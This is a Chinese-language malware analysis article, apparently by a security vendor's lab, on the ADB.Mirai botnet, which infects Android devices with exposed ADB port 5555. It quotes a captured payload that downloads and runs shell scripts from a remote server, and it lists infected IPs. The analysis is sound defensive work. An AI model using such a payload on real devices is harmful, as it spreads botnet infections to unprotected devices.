ADB. Mirai: 利用ADB调试接口进行传播的Mirai新型变种僵尸网络
早在今年年初，国内外安全厂商已监测到利用开放了ADB调试接口的安卓设备进行传播的挖矿蠕虫，近期绿盟伏影实验室威胁被动感知系统再次捕获到利用ADB接口进行传播的具有DDoS功能的僵尸网络。经过样本分析人员研究发现，该僵尸网络家族是Mirai的又一新变种（作者命名为Darks），并且与年初的挖矿样本扫描行为部分具有高度相似性。不同的是年初的样本功能为挖矿，而当前样本功能为DDoS，推测与最近一段时间虚拟货币行业不景气有关。
该样本和以前捕获的一组样本来自于同一个下载源，从代码特征等因素判断为同一作者制作，我们命名此新恶意样本为ADB.Mirai。此次捕获的ADB.Mirai从早期针对弱口令进行爆破攻击传播感染，转变为利用ADB接口进行传播感染。此次恶意样本极可能快速抢占ADB.Miner感染设备，获取新的肉鸡资源进行DDoS攻击，同时，我们推测同样快速抢占挖矿肉鸡，或挖矿类蠕虫木马更新迭代，转向更具威胁性攻击行为的僵尸网络或蠕虫木马极可能会迅速增多，请注意防范。
网络安全发展至今特别是随着威胁情报的兴起和虚拟化技术的不断发展，欺骗技术也越来越受到各方的关注。欺骗技术就是威胁感知系统关键技术之一。它的高保真、高质量、鲜活性等特征，使之成为研究敌人的重要手段，同时实时捕获一手威胁时间不再具有滞后性，非常适合威胁情报的时效性需求。
绿盟伏影实验室于2017年中旬运营了一套威胁感知系统，发展至今已逐步成熟，感知节点遍布世界五大洲，覆盖了20多个国家，覆盖常见服务、IOT服务，工控服务等。形成了以全端口模拟为基础，智能交互服务为辅的混合型感知架构，每天从互联网中捕获大量的鲜活威胁情报，实时感知威胁。Darks蠕虫蠕虫病毒就是被俘于威胁感知系统。
我们威胁感知系统于11月19日首次感知到来自于102.103.123.54的攻击，之后连续七天都收到多个被感染IP发来的相同攻击Payload。此次攻击针对的是TCP的5555端口，分析发现，受害IP通过扫描开放了ADB调试端口的Android设备，并利用其调试功能的可执行能力进行感染传播。攻击者在成功投放并执行bash脚本后，会从远端的服务器下载多平台恶意样本，使被攻击主机作为肉鸡继续对外发起扫描。
Android Debug Bridge(ADB)是安卓系统为Android开发人员提供的开放接口和调试工具，通过ADB可以管理、操作Android模拟器和实体设备，如安装软件、查看设备软硬件参数、系统升级、运行shell命令等。在互联网上存在一些未设置权限控制，没有任何密码，高权限的情况对外开放了ADB接口的Android设备，如智能手机，智能电视，机顶盒等，此次受感染正是这些设备。此样本具备蠕虫特性，受感染设备会继续尝试感染并投递恶意代码。
通过最新捕获的恶意样本提取到得C&C地址，我们威胁被动感知系统中查到首次攻击时间为2018年10月21日，当时使用的攻击方式为telnet服务弱口令爆破进行传播(Telnet.Mirai)。对比2次样本的传播感染行为，能判断利用此C&C地址投放行为与恶意代码结构等特性，我们判断2次行为背后是同一黑产组织。
样本的传播时间对比
蠕虫式感染
ADB.Mirai通过利用安卓设备的adb接口进行传播，通过随机生成359个IP地址，并对其5555端口进行扫描，判断是否可能存在可利用目标。下图为攻击payload部分。
排他性
ADB.Mirai通过查看 /proc/pid/ 来检查进程信息，该目录下通常有一个maps文件，代表内存映射中加载的库与文件。样本通过检查maps文件中有无特定内容（“/tmp/”），若有则将相关信息发送至cc服务器后将进程杀掉。此举的目的在于杀掉其他可能的恶意程序。让自身能够享受被感染机器更多的资源。
DDoS攻击
目前我们仅分析到一个UDP-Flood攻击函数，并且通过样本的分析，我们发现样本在与C&C通信之前也仅发现初始化函数链表中仅有一个UDP-Flood函数。推测样本应该还属于开发中。
旧样本命名：Telnet.Mirai
正如时间关联中我们描述的一样，我们还获得了一个通过telnet扫描的样本，将其命名为：Telnet.Mirai。
差异性对比
通过使用bindiff软件对比ADB.Mirai和Telnet.Mirai两个样本。我们发现这两个样本相似度非常高。仅有几个函数是存在差异，其中一个杀死其他进程的函数是ADB.Mirai新添加的函数。
另外对比两个样本的扫描模块，我们发现ADB.Mirai的扫描是由Telnet.Mirai的扫描模块修改而来。
Bash脚本使用的也不尽相同。ADB.Mirai使用的bash脚本相对于Telnet.Mirai使用的脚本要复杂一些，增加了杀死botkiller和miner bot进程的能力。
Bindiff对比图如下：
总结
通过对比ADB.Mirai和Telnet.Mirai两个样本，我们不难发现，他们来自同一个C&C地址，并且从10月21日起该地址下发的样本有了新的变化，不论是感染方式，还是杀死其他进程独占被感染机器的资源。我们可以认定C&C的拥有者，不断完善自己。未来有很大的可能获得与它相关联的新样本。
IP地址 | 89.46.79.57 |
地理位置 | 意大利 |
ASN number | AS31034 |
ASN information | ARUBA-ASN, IT |
通过我们的威胁感知系统可以看到，有很多被感染IP从2018年11月20日 ~ 2018年11月26日 持续对我们的蜜网节点 5555端口发送攻击相同的Payload (下载地址为同一个IP)。
CNXN\x00\x00\x00\x01\x00\x10\x00\x00\x07\x00\x00\x002\x02\x00\x00\xbc\xb1\xa7\xb1host::\x00OPEN\x82\x00\x00\x00\x00\x00\x00\x00\xbf\x00\x00\x00\xa69\x00\x00\xb0\xaf\xba\xb1shell:cd /data/local/tmp;wget http://89.46.79.57/br -O- >br;sh br;busybox wget http://89.46.79.57/r -O- >r;sh r;curl http://89.46.79.57/c >c;sh c;busybox curl http://89.46.79.57/bc >bc;sh bc\x00
部分被感染IP
IP | 国家 |
89.205.77.219 | 马其顿 |
37.20.80.216 | 俄罗斯 |
119.77.145.243 | 中国台湾 |
168.228.251.67 | 智利 |
5.27.53.84 | 土耳其 |
196.87.14.121 | 摩洛哥 |
180.122.220.101 | 中国 |
178.245.229.208 | 土耳其 |
102.103.123.54 | 摩洛哥 |
118.44.121.120 | 韩国 |
178.75.3.113 | 俄罗斯 |
190.140.21.246 | 巴拿马 |
151.177.242.221 | 瑞典 |
105.190.206.16 | 摩洛哥 |
219.77.64.71 | 中国香港 |
5.27.53.84 | 土耳其 |
58.153.156.98 | 中国香港 |
1.170.138.31 | 中国台湾 |
被感染IP在全球的分布情况
我们把样本下载 89.46.79.57 在我们的威胁感知系统里面查询，也发现了该IP在十月，十一月有针对 23、81和37215端口的扫描行为。
伏影实验室专注于安全威胁研究与监测技术。涵盖威胁识别技术，威胁跟踪技术，威胁捕获技术，威胁主体识别技术。研究目标包括：僵尸网络威胁，通过掌控现网威胁来识别风险，缓解威胁伤害，为威胁对抗提供决策支撑。
内容编辑：伏影实验室 责任编辑：肖晴
往期回顾
本公众号原创文章仅代表作者观点，不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权，严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用，转载须注明来自绿盟科技研究通讯并附上本文链接。
关于我们
绿盟科技研究通讯由绿盟科技创新中心负责运营，绿盟科技创新中心是绿盟科技的前沿技术研究部门。包括云安全实验室、安全大数据分析实验室和物联网安全实验室。团队成员由来自清华、北大、哈工大、中科院、北邮等多所重点院校的博士和硕士组成。
绿盟科技创新中心作为“中关村科技园区海淀园博士后工作站分站”的重要培养单位之一，与清华大学进行博士后联合培养，科研成果已涵盖各类国家课题项目、国家专利、国家标准、高水平学术论文、出版专业书籍等。
我们持续探索信息安全领域的前沿学术方向，从实践出发，结合公司资源和先进技术，实现概念级的原型系统，进而交付产品线孵化产品并创造巨大的经济价值。
长按上方二维码，即可关注我们
Go to "Discover" > "Top Stories" > "Wow"